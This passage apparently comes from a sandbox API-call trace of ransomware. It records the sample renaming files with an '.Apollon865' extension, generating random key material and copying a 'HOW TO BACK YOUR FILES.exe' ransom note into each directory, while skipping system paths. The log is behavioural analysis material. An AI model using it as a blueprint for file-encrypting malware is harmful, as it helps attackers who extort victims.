	[0067.672] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi.apollon865"), dwFlags=0x1) returned 1
	[0067.674] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0067.674] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=143360) returned 1
	[0067.674] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0067.675] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0067.675] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf4e0
	[0067.675] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf898) returned 1
	[0067.675] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0067.675] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0067.676] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x23300, lpName=0x0) returned 0xd8
	[0067.677] MapViewOfFile (hFileMappingObject=0xd8, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x23300) returned 0x120000
	[0067.709] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf898) returned 1
	[0067.710] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0067.710] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0067.710] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0067.710] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0067.710] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0067.710] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0067.710] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0067.710] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0067.710] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0067.711] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0067.711] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0067.711] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0067.711] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0067.712] CloseHandle (hObject=0xd8) returned 1
	[0067.712] CloseHandle (hObject=0x150) returned 1
	[0067.712] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0067.712] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf4e0 | out: hHeap=0x580000) returned 1
	[0067.712] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0067.713] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a38c100, ftCreationTime.dwHighDateTime=0x1cf3dd2, ftLastAccessTime.dwLowDateTime=0x7a38c100, ftLastAccessTime.dwHighDateTime=0x1cf3dd2, ftLastWriteTime.dwLowDateTime=0x7a38c100, ftLastWriteTime.dwHighDateTime=0x1cf3dd2, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vc_runtimeAdditional_x64.msi", cAlternateFileName="VC_RUN~1.MSI")) returned 0
	[0067.713] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0067.713] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7c90
	[0067.713] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017"
	[0067.713] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b5988 | out: hHeap=0x580000) returned 1
	[0067.713] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0067.713] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned 83
	[0067.714] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017"
	[0067.714] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0067.714] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0067.714] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0067.714] GetLastError () returned 0x20
	[0067.714] Sleep (dwMilliseconds=0xc8) 
	[0067.914] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0067.916] GetLastError () returned 0x0
	[0067.916] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0067.916] ReadFile (in: hFile=0x150, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0067.916] CloseHandle (hObject=0x150) returned 1
	[0067.916] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0067.916] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0067.916] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f5542d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5542d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0067.917] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0067.917] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0067.917] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0067.917] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f5542d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5542d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.917] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0067.917] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0067.917] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0067.917] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0067.917] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f5542d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f5542d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0067.917] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0067.917] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f5542d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5542d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1
	[0067.917] lstrcmpiW (lpString1="packages", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0067.917] lstrcmpiW (lpString1="packages", lpString2="Apollon865.txt.exe") returned 1
	[0067.917] lstrcmpiW (lpString1="packages", lpString2=".") returned 1
	[0067.917] lstrcmpiW (lpString1="packages", lpString2="..") returned 1
	[0067.917] lstrcmpiW (lpString1="packages", lpString2="windows") returned -1
	[0067.917] lstrcmpiW (lpString1="packages", lpString2="bootmgr") returned 1
	[0067.917] lstrcmpiW (lpString1="packages", lpString2="temp") returned -1
	[0067.917] lstrcmpiW (lpString1="packages", lpString2="pagefile.sys") returned -1
	[0067.917] lstrcmpiW (lpString1="packages", lpString2="boot") returned 1
	[0067.917] lstrcmpiW (lpString1="packages", lpString2="ids.txt") returned 1
	[0067.917] lstrcmpiW (lpString1="packages", lpString2="ntuser.dat") returned 1
	[0067.917] lstrcmpiW (lpString1="packages", lpString2="perflogs") returned -1
	[0067.917] lstrcmpiW (lpString1="packages", lpString2="MSBuild") returned 1
	[0067.917] lstrlenW (lpString="packages") returned 8
	[0067.917] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\*") returned 85
	[0067.917] lstrcpyW (in: lpString1=0x119e6b0, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0067.917] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0067.917] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xba) returned 0x5aa638
	[0067.917] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7c90 | out: ListHead=0x5b75f0, ListEntry=0x5b7c90) returned 0x5b7af0
	[0067.917] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f5542d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5542d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0067.917] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0067.918] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7c90
	[0067.918] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages"
	[0067.918] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa638 | out: hHeap=0x580000) returned 1
	[0067.918] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0067.918] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned 92
	[0067.918] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages"
	[0067.918] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0067.918] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0067.918] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0067.918] GetLastError () returned 0x0
	[0067.918] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0067.918] ReadFile (in: hFile=0x150, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0067.919] CloseHandle (hObject=0x150) returned 1
	[0067.919] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0067.919] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0067.919] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f5542d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5542d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0067.919] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0067.919] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0067.919] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0067.919] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f5542d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5542d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0067.919] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0067.919] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0067.919] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0067.919] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0067.919] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f5542d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2f5542d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0067.919] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0067.919] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f57a430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f57a430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 1
	[0067.919] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0067.919] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="Apollon865.txt.exe") returned 1
	[0067.919] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2=".") returned 1
	[0067.919] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="..") returned 1
	[0067.919] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="windows") returned -1
	[0067.919] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="bootmgr") returned 1
	[0067.919] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="temp") returned 1
	[0067.919] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="pagefile.sys") returned 1
	[0067.919] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="boot") returned 1
	[0067.919] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="ids.txt") returned 1
	[0067.919] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="ntuser.dat") returned 1
	[0067.919] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="perflogs") returned 1
	[0067.920] lstrcmpiW (lpString1="vcRuntimeMinimum_amd64", lpString2="MSBuild") returned 1
	[0067.920] lstrlenW (lpString="vcRuntimeMinimum_amd64") returned 22
	[0067.920] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\*") returned 94
	[0067.920] lstrcpyW (in: lpString1=0x119e6c2, lpString2="vcRuntimeMinimum_amd64" | out: lpString1="vcRuntimeMinimum_amd64") returned="vcRuntimeMinimum_amd64"
	[0067.920] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0067.920] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xe8) returned 0x5a3168
	[0067.920] RtlInterlockedPushEntrySList (in: ListHead=0x5b75f0, ListEntry=0x5b7c90 | out: ListHead=0x5b75f0, ListEntry=0x5b7c90) returned 0x5b7af0
	[0067.920] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f57a430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f57a430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeMinimum_amd64", cAlternateFileName="VCRUNT~1")) returned 0
	[0067.920] FindClose (in: hFindFile=0x5ca250 | out: hFindFile=0x5ca250) returned 1
	[0067.920] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7c90
	[0067.920] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64"
	[0067.920] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3168 | out: hHeap=0x580000) returned 1
	[0067.920] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0067.920] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64") returned 115
	[0067.920] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64" | out: lpString1="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64") returned="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64"
	[0067.920] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0067.920] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0067.921] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x150
	[0067.921] GetLastError () returned 0x0
	[0067.921] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0067.921] ReadFile (in: hFile=0x150, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0067.921] CloseHandle (hObject=0x150) returned 1
	[0067.921] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0067.921] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0067.921] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa931c450, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0x2f57a430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f57a430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0067.921] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0067.921] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0067.921] lstrcmpiW (lpString1=".", lpString2=".") returned 0
